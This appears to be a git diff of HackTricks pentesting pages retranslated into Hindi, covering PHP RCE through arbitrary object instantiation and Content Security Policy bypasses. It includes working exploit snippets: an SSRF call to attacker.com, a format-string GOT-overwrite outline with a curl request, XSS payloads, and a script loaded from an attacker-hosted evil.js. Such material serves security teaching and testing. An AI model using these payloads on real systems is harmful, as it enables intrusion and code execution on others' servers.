- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}

66
src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
View File

@ -1,16 +1,16 @@
# PHP - RCE ऑब्जेक्ट निर्माण का दुरुपयोग: नया $\_GET\["a"]\($\_GET\["b"])
# PHP - RCE ऑब्जेक्ट निर्माण का दुरुपयोग: new $_GET["a"]($_GET["b"])
{{#include ../../../banners/hacktricks-training.md}}
यह मूल रूप से एक सारांश है [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
यह मूल रूप से [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) का सारांश है
## परिचय
नए मनमाने ऑब्जेक्ट्स का निर्माण, जैसे कि `new $_GET["a"]($_GET["a"])`, रिमोट कोड निष्पादन (RCE) की ओर ले जा सकता है, जैसा कि एक [**लेख**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) में विस्तृत किया गया है। यह दस्तावेज़ RCE प्राप्त करने के लिए विभिन्न रणनीतियों को उजागर करता है।
नए मनमाने ऑब्जेक्ट्स का निर्माण, जैसे `new $_GET["a"]($_GET["a"])`, Remote Code Execution (RCE) का कारण बन सकता है, जैसा कि [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) में विस्तार से बताया गया है। यह दस्तावेज RCE प्राप्त करने की विभिन्न रणनीतियों को उजागर करता है।
## कस्टम क्लासेस या ऑटोलोडिंग के माध्यम से RCE
## कस्टम क्लासेस या Autoloading के माध्यम से RCE
सिंटैक्स `new $a($b)` का उपयोग एक ऑब्जेक्ट को इंस्टेंटिएट करने के लिए किया जाता है जहाँ **`$a`** क्लास नाम का प्रतिनिधित्व करता है और **`$b`** कंस्ट्रक्टर को पास किया गया पहला तर्क है। ये वेरिएबल्स उपयोगकर्ता इनपुट जैसे GET/POST से प्राप्त किए जा सकते हैं, जहाँ वे स्ट्रिंग्स या एरे हो सकते हैं, या JSON से, जहाँ वे अन्य प्रकारों के रूप में प्रस्तुत हो सकते हैं।
सिंटैक्स `new $a($b)` का उपयोग किसी ऑब्जेक्ट को instantiate करने के लिए किया जाता है जहाँ **`$a`** क्लास का नाम दर्शाता है और **`$b`** constructor को पास किया गया पहला argument है। ये वेरिएबल्स GET/POST जैसे user inputs से आ सकते हैं, जहाँ वे strings या arrays हो सकते हैं, या JSON से, जहाँ वे अन्य प्रकारों के रूप में प्रकट हो सकते हैं।
नीचे दिए गए कोड स्निपेट पर विचार करें:
```php
@ -31,9 +31,9 @@ $b = $_GET['b'];
new $a($b);
```
इस मामले में, `$a` को `App` या `App2` पर सेट करना और `$b` को एक सिस्टम कमांड (जैसे, `uname -a`) पर सेट करना उस कमांड के निष्पादन का परिणाम देता है।
इस मामले में, `$a` को `App` या `App2` और `$b` को एक सिस्टम कमांड (जैसे, `uname -a`) सेट करने पर वह कमांड निष्पादित हो जाती है।
**ऑटोलोडिंग फ़ंक्शन** का शोषण किया जा सकता है यदि ऐसी कोई कक्षाएँ सीधे सुलभ नहीं हैं। ये फ़ंक्शन आवश्यकतानुसार फ़ाइलों से कक्षाओं को स्वचालित रूप से लोड करते हैं और इन्हें `spl_autoload_register` या `__autoload` का उपयोग करके परिभाषित किया जाता है:
**Autoloading functions** का दुरुपयोग किया जा सकता है अगर ऐसी कोई क्लासेस सीधे उपलब्ध न हों। ये फ़ंक्शन आवश्यकतानुसार फ़ाइलों से क्लासेस को स्वचालित रूप से लोड करते हैं और इन्हें `spl_autoload_register` या `__autoload` का उपयोग करके परिभाषित किया जाता है:
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
@ -45,52 +45,76 @@ include $class_name . '.php';
spl_autoload_register();
```
autoloading का व्यवहार PHP संस्करणों के साथ भिन्न होता है, जो विभिन्न RCE संभावनाएँ प्रदान करता है।
The behavior of autoloading varies with PHP versions, offering different RCE possibilities.
## Built-In Classes के माध्यम से RCE
कस्टम क्लास या ऑटोलोडर्स की कमी में, **built-in PHP classes** RCE के लिए पर्याप्त हो सकती हैं। इन क्लासों की संख्या PHP संस्करण और एक्सटेंशन के आधार पर 100 से 200 के बीच होती है। इन्हें `get_declared_classes()` का उपयोग करके सूचीबद्ध किया जा सकता है।
कस्टम क्लासेस या autoloaders का अभाव होने पर, **built-in PHP classes** RCE के लिए पर्याप्त हो सकती हैं। इन क्लासेस की संख्या PHP संस्करण और एक्सटेंशन्स के आधार पर लगभग 100 से 200 के बीच होती है। इन्हें `get_declared_classes()` का उपयोग करके सूचीबद्ध किया जा सकता है।
रिफ्लेक्शन API के माध्यम से रुचि के कंस्ट्रक्टर्स की पहचान की जा सकती है, जैसा कि निम्नलिखित उदाहरण और लिंक [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF) में दिखाया गया है।
दिलचस्प constructors को reflection API के माध्यम से पहचाना जा सकता है, जैसा कि निम्न उदाहरण और लिंक [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF) में दिखाया गया है।
**विशिष्ट विधियों के माध्यम से RCE में शामिल हैं:**
**विशेष तरीकों के माध्यम से RCE में शामिल हैं:**
### **SSRF + Phar Deserialization**
`SplFileObject` क्लास अपने कंस्ट्रक्टर के माध्यम से SSRF को सक्षम बनाती है, जो किसी भी URL से कनेक्शन की अनुमति देती है:
The `SplFileObject` class enables SSRF through its constructor, allowing connections to any URL:
```php
new SplFileObject('http://attacker.com/');
```
SSRF पुराने PHP संस्करणों में 8.0 से पहले deserialization हमलों का कारण बन सकता है, जो Phar प्रोटोकॉल का उपयोग करता है।
SSRF Phar protocol का उपयोग करके PHP के 8.0 से पहले के संस्करणों में deserialization attacks का कारण बन सकता है।
### **PDOs का शोषण करना**
### **PDOs का शोषण**
PDO क्लास कंस्ट्रक्टर DSN स्ट्रिंग्स के माध्यम से डेटाबेस से कनेक्शन की अनुमति देता है, जो फ़ाइल निर्माण या अन्य इंटरैक्शन को सक्षम कर सकता है:
PDO class constructor DSN strings के माध्यम से डेटाबेस से कनेक्शन की अनुमति देता है, जो संभावित रूप से file creation या अन्य interactions को सक्षम कर सकता है:
```php
new PDO("sqlite:/tmp/test.txt")
```
### **SoapClient/SimpleXMLElement XXE**
PHP के 5.3.22 और 5.4.12 तक के संस्करण `SoapClient` और `SimpleXMLElement` कंस्ट्रक्टर्स के माध्यम से XXE हमलों के प्रति संवेदनशील थे, जो libxml2 के संस्करण पर निर्भर करते हैं।
libxml2 के संस्करण पर निर्भर करते हुए, PHP के संस्करण 5.3.22 और 5.4.12 तक `SoapClient` और `SimpleXMLElement` constructors के माध्यम से XXE हमलों के प्रति संवेदनशील थे।
## RCE via Imagick Extension
एक **प्रोजेक्ट की निर्भरताओं** के विश्लेषण में, यह पाया गया कि **Imagick** का उपयोग **कमांड निष्पादन** के लिए नए ऑब्जेक्ट्स को इंस्टेंटिएट करके किया जा सकता है। यह कमजोरियों का लाभ उठाने का एक अवसर प्रस्तुत करता है।
एक प्रोजेक्ट की निर्भरताओं के विश्लेषण में पता चला कि नए objects instantiate करके **Imagick** को **command execution** के लिए leverage किया जा सकता है। यह कमजोरियों के शोषण का एक मौका प्रस्तुत करता है।
### VID parser
फाइल सिस्टम में किसी भी निर्दिष्ट पथ पर सामग्री लिखने की VID parser क्षमता की पहचान की गई। इससे एक वेब-एक्सेसिबल डायरेक्टरी में PHP शेल रखने की संभावना बनती है, जिससे रिमोट कोड निष्पादन (RCE) प्राप्त होता है।
VID parser की यह क्षमता कि वह filesystem में किसी भी निर्दिष्ट path पर content लिख सके, पहचानी गई। इससे किसी वेब-एक्सेसिबल directory में एक PHP shell रखने का मार्ग खुल सकता है, जिससे Remote Code Execution (RCE) प्राप्त हो सकता है।
#### VID Parser + File Upload
यह noted किया गया है कि PHP अस्थायी रूप से अपलोड की गई फ़ाइलों को `/tmp/phpXXXXXX` में संग्रहीत करता है। Imagick में VID parser, **msl** प्रोटोकॉल का उपयोग करते हुए, फ़ाइल पथ में वाइल्डकार्ड को संभाल सकता है, जिससे अस्थायी फ़ाइल को चुने हुए स्थान पर स्थानांतरित करना संभव होता है। यह विधि फाइल सिस्टम के भीतर मनमाने फ़ाइल लेखन को प्राप्त करने के लिए एक अतिरिक्त दृष्टिकोण प्रदान करती है।
ध्यान दिया गया है कि PHP अपलोड की गई फाइलों को अस्थायी रूप से `/tmp/phpXXXXXX` में स्टोर करता है। Imagick में VID parser, **msl** protocol का उपयोग करते हुए, file paths में wildcards को संभाल सकता है, जिससे अस्थायी फ़ाइल को किसी चुनी हुई लोकेशन पर स्थानांतरित करना संभव होता है। यह तरीका filesystem में arbitrary file writing हासिल करने का एक अतिरिक्त तरीका प्रदान करता है।
### PHP Crash + Brute Force
[**मूल लेख**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) में वर्णित एक विधि में ऐसी फ़ाइलें अपलोड करना शामिल है जो हटाने से पहले सर्वर क्रैश को ट्रिगर करती हैं। अस्थायी फ़ाइल के नाम को ब्रूट-फोर्स करके, Imagick के लिए मनमाना PHP कोड निष्पादित करना संभव हो जाता है। हालाँकि, यह तकनीक केवल ImageMagick के एक पुराने संस्करण में प्रभावी पाई गई।
एक तरीका जो [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) में वर्णित है, ऐसी फाइलें अपलोड करने पर आधारित है जो deletion से पहले सर्वर crash कर देती हैं। temporary file के नाम को brute-force करके, Imagick के लिए arbitrary PHP code execute करना संभव हो जाता है। हालांकि, यह तकनीक केवल ImageMagick के एक outdated version में ही प्रभावी पाई गई।
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
जब user input class name को नियंत्रित करता है (उदा., `new $_GET['model']()`), PHP 7.0.0 ने `Throwable` refactor के दौरान एक अस्थायी bug पेश किया जहाँ engine resolution के दौरान class name को गलती से printf format string के रूप में ट्रीट करता था। इससे PHP के अंदर classic printf-style primitives सक्षम होते हैं: leaks with `%p`, write-count control width specifiers के साथ, और arbitrary writes with `%n` in-process pointers (उदाहरण के लिए, GOT entries on ELF builds) के खिलाफ।
न्यूनतम repro vulnerable पैटर्न:
```php
<?php
$model = $_GET['model'];
$object = new $model();
```
Exploitation outline (from the reference):
- क्लास नाम में `%p` के माध्यम से पते leak करके एक लिखने-योग्य लक्ष्य खोजें:
```bash
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
```
- पोजीशनल पैरामीटर्स और width specifiers का उपयोग करके एक सटीक बाइट-काउंट सेट करें, फिर `%n` का उपयोग कर उस मान को स्टैक पर पहुँच योग्य पते पर लिखें, GOT slot (e.g., `free`) को लक्ष्य करके आंशिक रूप से इसे `system` में overwrite करें।
- हाइजैक की गई फ़ंक्शन को ट्रिगर करने के लिए ऐसा क्लास नाम पास करें जिसमें एक shell pipe हो ताकि `system("id")` पहुँच सके।
Notes:
- केवल PHP 7.0.0 पर काम करता है (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); बाद के रिलीज़ में ठीक कर दिया गया। Severity: critical अगर arbitrary class instantiation मौजूद है।
- सामान्य payloads कई `%p` को chain करके स्टैक पर नेविगेट करते हैं, फिर `%.<width>d%<pos>$n` का उपयोग कर आंशिक overwrite कराते हैं।
## References
- [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
- https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
- https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/
{{#include ../../../banners/hacktricks-training.md}}

409
src/pentesting-web/content-security-policy-csp-bypass/README.md
View File

@ -2,30 +2,30 @@
{{#include ../../banners/hacktricks-training.md}}
## What is CSP
## CSP क्या है
Content Security Policy (CSP) एक ब्राउज़र तकनीक के रूप में पहचानी जाती है, जिसका मुख्य उद्देश्य **क्रॉस-साइट स्क्रिप्टिंग (XSS)** जैसे हमलों से सुरक्षा करना है। यह उन पथों और स्रोतों को परिभाषित और विस्तृत करके कार्य करता है जिनसे संसाधनों को ब्राउज़र द्वारा सुरक्षित रूप से लोड किया जा सकता है। ये संसाधन छवियों, फ्रेमों और जावास्क्रिप्ट जैसे विभिन्न तत्वों को शामिल करते हैं। उदाहरण के लिए, एक नीति एक ही डोमेन (स्वयं) से संसाधनों को लोड और निष्पादित करने की अनुमति दे सकती है, जिसमें इनलाइन संसाधन और `eval`, `setTimeout`, या `setInterval` जैसी कार्यों के माध्यम से स्ट्रिंग कोड का निष्पादन शामिल है।
Content Security Policy (CSP) ब्राउज़र टेक्नोलॉजी के रूप में जानी जाती है, जिसका प्राथमिक उद्देश्य cross-site scripting (XSS) जैसे हमलों से सुरक्षा प्रदान करना है। यह उन स्रोतों और पथों को परिभाषित करके काम करती है जिनसे ब्राउज़र सुरक्षित रूप से संसाधन लोड कर सकता है। ये संसाधन images, frames, और JavaScript जैसे तत्वों को शामिल करते हैं। उदाहरण के लिए, एक policy एक ही डोमेन (self) से संसाधनों के लोड और निष्पादन की अनुमति दे सकती है, जिसमें inline संसाधन और `eval`, `setTimeout`, या `setInterval` जैसे functions के माध्यम से string code का execution भी शामिल हो सकता है।
CSP का कार्यान्वयन **प्रतिक्रिया हेडर** के माध्यम से या **HTML पृष्ठ में मेटा तत्वों को शामिल करके** किया जाता है। इस नीति का पालन करते हुए, ब्राउज़र सक्रिय रूप से इन शर्तों को लागू करते हैं और तुरंत किसी भी पहचानी गई उल्लंघनों को ब्लॉक कर देते हैं।
Implementation of CSP **response headers** के माध्यम से किया जा सकता है या HTML पेज में **meta elements** शामिल करके। इस नीति के अनुसार, ब्राउज़र इन नियमों को सक्रिय रूप से लागू करते हैं और किसी भी पाए गए उल्लंघन को तुरंत ब्लॉक कर देते हैं।
- Implemented via response header:
- response header के माध्यम से लागू:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
- मेटा टैग के माध्यम से लागू किया गया:
- meta tag के माध्यम से लागू किया गया:
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### Headers
### हेडर
CSP को इन हेडर्स का उपयोग करके लागू या मॉनिटर किया जा सकता है:
CSP इन हेडर्स का उपयोग करके लागू या मॉनिटर किया जा सकता है:
- `Content-Security-Policy`: CSP को लागू करता है; ब्राउज़र किसी भी उल्लंघन को ब्लॉक करता है।
- `Content-Security-Policy-Report-Only`: मॉनिटरिंग के लिए उपयोग किया जाता है; उल्लंघनों की रिपोर्ट करता है बिना उन्हें ब्लॉक किए। प्री-प्रोडक्शन वातावरण में परीक्षण के लिए आदर्श।
- `Content-Security-Policy`: CSP को लागू करता है; ब्राउज़र किसी भी उल्लंघन को ब्लॉक कर देता है।
- `Content-Security-Policy-Report-Only`: मॉनिटरिंग के लिए उपयोग होता है; उल्लंघनों की रिपोर्ट करता है बिना उन्हें ब्लॉक किए। प्री-प्रोडक्शन वातावरण में परीक्षण के लिए आदर्श।
### Defining Resources
### संसाधनों को परिभाषित करना
CSP सक्रिय और निष्क्रिय सामग्री को लोड करने के लिए मूल स्थानों को प्रतिबंधित करता है, जैसे इनलाइन JavaScript निष्पादन और `eval()` के उपयोग को नियंत्रित करता है। एक उदाहरण नीति है:
CSP सक्रिय और निष्क्रिय दोनों प्रकार की सामग्री को लोड करने के लिए स्रोतों को सीमित करता है, और इनलाइन JavaScript के निष्पादन और `eval()` के उपयोग जैसे पहलुओं को नियंत्रित करता है। एक उदाहरण नीति इस प्रकार है:
```bash
default-src 'none';
img-src 'self';
@ -37,44 +37,44 @@ frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
```
### Directives
### निर्देश
- **script-src**: JavaScript के लिए विशिष्ट स्रोतों की अनुमति देता है, जिसमें URLs, इनलाइन स्क्रिप्ट और इवेंट हैंडलर्स या XSLT स्टाइलशीट द्वारा ट्रिगर की गई स्क्रिप्ट शामिल हैं।
- **default-src**: जब विशिष्ट फेच निर्देश अनुपस्थित होते हैं, तो संसाधनों को लाने के लिए एक डिफ़ॉल्ट नीति सेट करता है।
- **child-src**: वेब वर्कर्स और एम्बेडेड फ्रेम सामग्री के लिए अनुमत संसाधनों को निर्दिष्ट करता है।
- **connect-src**: उन URLs को प्रतिबंधित करता है जिन्हें fetch, WebSocket, XMLHttpRequest जैसी इंटरफेस का उपयोग करके लोड किया जा सकता है।
- **frame-src**: फ्रेम के लिए URLs को प्रतिबंधित करता है।
- **frame-ancestors**: निर्दिष्ट करता है कि कौन से स्रोत वर्तमान पृष्ठ को एम्बेड कर सकते हैं, जो `<frame>`, `<iframe>`, `<object>`, `<embed>`, और `<applet>` जैसे तत्वों पर लागू होता है।
- **img-src**: चित्रों के लिए अनुमत स्रोतों को परिभाषित करता है।
- **font-src**: `@font-face` का उपयोग करके लोड किए गए फोंट के लिए मान्य स्रोतों को निर्दिष्ट करता है।
- **manifest-src**: एप्लिकेशन मैनिफेस्ट फ़ाइलों के लिए अनुमत स्रोतों को परिभाषित करता है।
- **media-src**: मीडिया ऑब्जेक्ट्स को लोड करने के लिए अनुमत स्रोतों को परिभाषित करता है।
- **object-src**: `<object>`, `<embed>`, और `<applet>` तत्वों के लिए अनुमत स्रोतों को परिभाषित करता है।
- **base-uri**: `<base>` तत्वों का उपयोग करके लोड करने के लिए अनुमत URLs को निर्दिष्ट करता है।
- **form-action**: फ़ॉर्म सबमिशन के लिए मान्य एंडपॉइंट्स की सूची बनाता है।
- **plugin-types**: उन माइम प्रकारों को प्रतिबंधित करता है जिन्हें एक पृष्ठ सक्रिय कर सकता है।
- **upgrade-insecure-requests**: ब्राउज़रों को HTTP URLs को HTTPS में फिर से लिखने के लिए निर्देशित करता है।
- **sandbox**: `<iframe>` के सैंडबॉक्स विशेषता के समान प्रतिबंध लागू करता है।
- **report-to**: निर्दिष्ट करता है कि यदि नीति का उल्लंघन होता है तो रिपोर्ट किस समूह को भेजी जाएगी।
- **worker-src**: वर्कर, SharedWorker, या ServiceWorker स्क्रिप्ट के लिए मान्य स्रोतों को निर्दिष्ट करता है।
- **prefetch-src**: उन संसाधनों के लिए मान्य स्रोतों को निर्दिष्ट करता है जिन्हें लाया जाएगा या पहले से लाया जाएगा।
- **navigate-to**: उन URLs को प्रतिबंधित करता है जिन पर कोई दस्तावेज़ किसी भी तरीके से नेविगेट कर सकता है (a, form, window.location, window.open, आदि)
- **script-src**: JavaScript के लिए विशिष्ट स्रोतों की अनुमति देता है, जिनमें URLs, इनलाइन स्क्रिप्ट्स, और इवेंट हैंडलर्स या XSLT stylesheets द्वारा ट्रिगर किए गए स्क्रिप्ट्स शामिल हैं।
- **default-src**: जब विशेष fetch निर्देश अनुपस्थित होते हैं तो संसाधनों को फ़ेच करने के लिए डिफ़ॉल्ट पॉलिसी सेट करता है।
- **child-src**: web workers और embedded frame सामग्री के लिए अनुमत स्रोत निर्दिष्ट करता है।
- **connect-src**: उन URLs को प्रतिबंधित करता है जिन्हें fetch, WebSocket, XMLHttpRequest जैसी इंटरफ़ेस के माध्यम से लोड किया जा सकता है।
- **frame-src**: फ्रेम्स के लिए URLs को प्रतिबंधित करता है।
- **frame-ancestors**: यह निर्दिष्ट करता है कि कौन से स्रोत वर्तमान पेज को embed कर सकते हैं; यह `<frame>`, `<iframe>`, `<object>`, `<embed>`, और `<applet>` जैसे elements पर लागू होता है।
- **img-src**: इमेजेस के लिए अनुमत स्रोत परिभाषित करता है।
- **font-src**: `@font-face` का उपयोग करके लोड किए गए fonts के लिए वैध स्रोत निर्दिष्ट करता है।
- **manifest-src**: application manifest फ़ाइलों के लिए अनुमत स्रोत परिभाषित करता है।
- **media-src**: मीडिया ऑब्जेक्ट्स लोड करने के लिए अनुमत स्रोत परिभाषित करता है।
- **object-src**: `<object>`, `<embed>`, और `<applet>` एलिमेंट्स के लिए अनुमत स्रोतों को परिभाषित करता है।
- **base-uri**: `<base>` एलिमेंट्स का उपयोग करके लोड करने के लिए अनुमत URLs निर्दिष्ट करता है।
- **form-action**: फॉर्म सबमिशन के लिए वैध endpoints सूचीबद्ध करता है।
- **plugin-types**: उन mime types को प्रतिबंधित करता है जिन्हें पेज invoke कर सकता है।
- **upgrade-insecure-requests**: ब्राउज़रों को HTTP URLs को HTTPS में rewrite करने का निर्देश देता है।
- **sandbox**: `<iframe>` के sandbox attribute जैसी सीमाएँ लागू करता है।
- **report-to**: नीति के उल्लंघन होने पर रिपोर्ट किस समूह को भेजी जाएगी यह निर्दिष्ट करता है।
- **worker-src**: Worker, SharedWorker, या ServiceWorker स्क्रिप्ट्स के लिए वैध स्रोत निर्दिष्ट करता है।
- **prefetch-src**: उन संसाधनों के लिए वैध स्रोत निर्दिष्ट करता है जिन्हें fetched या prefetched किया जाएगा।
- **navigate-to**: उन URLs को प्रतिबंधित करता है जिन पर दस्तावेज़ किसी भी माध्यम से navigate कर सकता है (a, form, window.location, window.open, आदि)।
### Sources
### स्रोत
- `*`: सभी URLs की अनुमति देता है सिवाय `data:`, `blob:`, `filesystem:` स्कीम वाले।
- `*`: उन सभी URLs की अनुमति देता है सिवाय उन schemes के जिनमें `data:`, `blob:`, `filesystem:` होते हैं।
- `'self'`: उसी डोमेन से लोड करने की अनुमति देता है।
- `'data'`: डेटा स्कीम के माध्यम से संसाधनों को लोड करने की अनुमति देता है (जैसे, Base64 एन्कोडेड चित्र)।
- `'none'`: किसी भी स्रोत से लोड करने को ब्लॉक करता है।
- `'unsafe-eval'`: `eval()` और समान विधियों के उपयोग की अनुमति देता है, सुरक्षा कारणों से अनुशंसित नहीं है।
- `'unsafe-hashes'`: विशिष्ट इनलाइन इवेंट हैंडलर्स को सक्षम करता है।
- `'unsafe-inline'`: इनलाइन `<script>` या `<style>` जैसे इनलाइन संसाधनों के उपयोग की अनुमति देता है, सुरक्षा कारणों से अनुशंसित नहीं है।
- `'nonce'`: एक क्रिप्टोग्राफिक nonce (एक बार उपयोग किया जाने वाला नंबर) का उपयोग करके विशिष्ट इनलाइन स्क्रिप्ट के लिए एक व्हाइटलिस्ट।
- यदि आपके पास JS सीमित निष्पादन है तो यह संभव है कि आप पृष्ठ के अंदर एक उपयोग किया गया nonce प्राप्त करें `doc.defaultView.top.document.querySelector("[nonce]")` के साथ और फिर इसे एक दुर्भावनापूर्ण स्क्रिप्ट लोड करने के लिए पुन: उपयोग करें (यदि strict-dynamic का उपयोग किया गया है, तो कोई भी अनुमत स्रोत नए स्रोतों को लोड कर सकता है इसलिए इसकी आवश्यकता नहीं है), जैसे कि:
- `'data'`: data स्कीम के जरिए संसाधनों को लोड करने की अनुमति देता है (उदा., Base64 एन्कोडेड इमेजेस)।
- `'none'`: किसी भी स्रोत से लोडिंग को ब्लॉक करता है।
- `'unsafe-eval'`: `eval()` और समान मेथड्स के उपयोग की अनुमति देता है; सुरक्षा कारणों से अनुशंसित नहीं।
- `'unsafe-hashes'`: विशिष्ट inline event handlers को सक्षम करता है।
- `'unsafe-inline'`: inline `<script>` या `<style>` जैसी inline resources के उपयोग की अनुमति देता है; सुरक्षा कारणों से अनुशंसित नहीं।
- `'nonce'`: क्रिप्टोग्राफिक nonce (एक बार उपयोग होने वाला नंबर) का उपयोग करके विशिष्ट inline स्क्रिप्ट्स के लिए एक whitelist।
- यदि आपके पास JS सीमित execution है तो पेज के अंदर इस्तेमाल किया गया nonce `doc.defaultView.top.document.querySelector("[nonce]")` से प्राप्त करना संभव है और फिर इसे पुन: उपयोग करके malicious स्क्रिप्ट लोड की जा सकती है (यदि strict-dynamic उपयोग किया गया है, तो किसी भी अनुमत स्रोत द्वारा नए स्रोत लोड किए जा सकते हैं इसलिए यह आवश्यक नहीं होता), जैसे कि:
<details>
<summary>Load script reusing nonce</summary>
<summary>Nonce का पुन: उपयोग कर स्क्रिप्ट लोड करना</summary>
```html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
@ -88,26 +88,27 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```
</details>
- `'sha256-<hash>'`: एक विशिष्ट sha256 हैश के साथ स्क्रिप्ट को व्हाइटलिस्ट करता है।
- `'strict-dynamic'`: यदि इसे nonce या हैश द्वारा व्हाइटलिस्ट किया गया है तो किसी भी स्रोत से स्क्रिप्ट लोड करने की अनुमति देता है।
- `'host'`: एक विशिष्ट होस्ट निर्दिष्ट करता है, जैसे `example.com`।
- `https:`: URLs को उन पर प्रतिबंधित करता है जो HTTPS का उपयोग करते हैं।
- `blob:`: Blob URLs (जैसे, JavaScript के माध्यम से बनाए गए Blob URLs) से संसाधनों को लोड करने की अनुमति देता है।
- `filesystem:`: फाइल सिस्टम से संसाधनों को लोड करने की अनुमति देता है।
- `'report-sample'`: उल्लंघन रिपोर्ट में उल्लंघन करने वाले कोड का एक नमूना शामिल करता है (डीबगिंग के लिए उपयोगी)।
- `'strict-origin'`: 'self' के समान लेकिन सुनिश्चित करता है कि स्रोतों का प्रोटोकॉल सुरक्षा स्तर दस्तावेज़ से मेल खाता है (केवल सुरक्षित मूल सुरक्षित मूल से संसाधन लोड कर सकते हैं)।
- `'strict-origin-when-cross-origin'`: समान-उत्पत्ति अनुरोध करते समय पूर्ण URLs भेजता है लेकिन केवल तब ही उत्पत्ति भेजता है जब अनुरोध क्रॉस-उत्पत्ति हो।
- `'unsafe-allow-redirects'`: संसाधनों को लोड करने की अनुमति देता है जो तुरंत किसी अन्य संसाधन पर रीडायरेक्ट करेंगे। सुरक्षा को कमजोर करने के कारण इसकी सिफारिश नहीं की जाती है।
- `'sha256-<hash>'`: किसी विशिष्ट sha256 हैश वाले स्क्रिप्ट्स को व्हाइटलिस्ट करता है।
- `'strict-dynamic'`: किसी nonce या हैश द्वारा व्हाइटलिस्ट किए जाने पर किसी भी स्रोत से स्क्रिप्ट लोड करने की अनुमति देता है।
- `'host'`: किसी विशेष host को निर्दिष्ट करता है, जैसे `example.com`।
- `https:`: URLs को उन तक सीमित करता है जो HTTPS का उपयोग करते हैं।
- `blob:`: Blob URLs से resources लोड करने की अनुमति देता है (उदा., JavaScript द्वारा बनाए गए Blob URLs)।
- `filesystem:`: फ़ाइलसिस्टम से resources लोड करने की अनुमति देता है।
- `'report-sample'`: उल्लंघन रिपोर्ट में उल्लंघनकारी कोड का एक नमूना शामिल करता है (डिबगिंग के लिए उपयोगी)।
- `'strict-origin'`: 'self' के समान है लेकिन यह सुनिश्चित करता है कि स्रोतों का प्रोटोकॉल सुरक्षा स्तर दस्तावेज़ के साथ मेल खाता है (केवल secure origins ही secure origins से resources लोड कर पाएंगे)।
- `'strict-origin-when-cross-origin'`: same-origin अनुरोध करते समय पूरा URL भेजता है लेकिन cross-origin अनुरोध में केवल origin भेजता है।
- `'unsafe-allow-redirects'`: ऐसे resources को लोड करने की अनुमति देता है जो तुरंत किसी अन्य resource पर redirect कर देंगे। यह सिफारिश नहीं किया जाता क्योंकि यह सुरक्षा को कमजोर करता है।
## Unsafe CSP Rules
## असुरक्षित CSP नियम
### 'unsafe-inline'
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
काम करने वाला पेलोड: `"/><script>alert(1);</script>`
काम करने वाला payload: `"/><script>alert(1);</script>`
#### self + 'unsafe-inline' द्वारा Iframes
#### self + 'unsafe-inline' Iframes के माध्यम से
{{#ref}}
csp-bypass-self-+-unsafe-inline-with-iframes.md
@ -116,67 +117,67 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
### 'unsafe-eval'
> [!CAUTION]
> यह काम नहीं कर रहा है, अधिक जानकारी के लिए [**यहाँ देखें**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
> यह काम नहीं कर रहा है, अधिक जानकारी के लिए [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
काम करने वाला पेलोड:
कार्यशील payload:
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
### strict-dynamic
यदि आप किसी तरह से एक **अनुमत JS कोड एक नया स्क्रिप्ट टैग** DOM में अपने JS कोड के साथ बना सकता है, क्योंकि एक अनुमत स्क्रिप्ट इसे बना रही है, तो **नया स्क्रिप्ट टैग निष्पादित होने की अनुमति दी जाएगी**।
यदि आप किसी तरह DOM में अपने JS code के साथ एक **allowed JS code created a new script tag** बना सकते हैं — क्योंकि एक allowed script इसे बना रहा है — तो **new script tag will be allowed to be executed**।
### Wildcard (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
काम करने वाला पेलोड:
काम करने वाला payload:
```html
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### Lack of object-src and default-src
### object-src और default-src की कमी
> [!CAUTION] > **ऐसा लगता है कि यह अब काम नहीं कर रहा है**
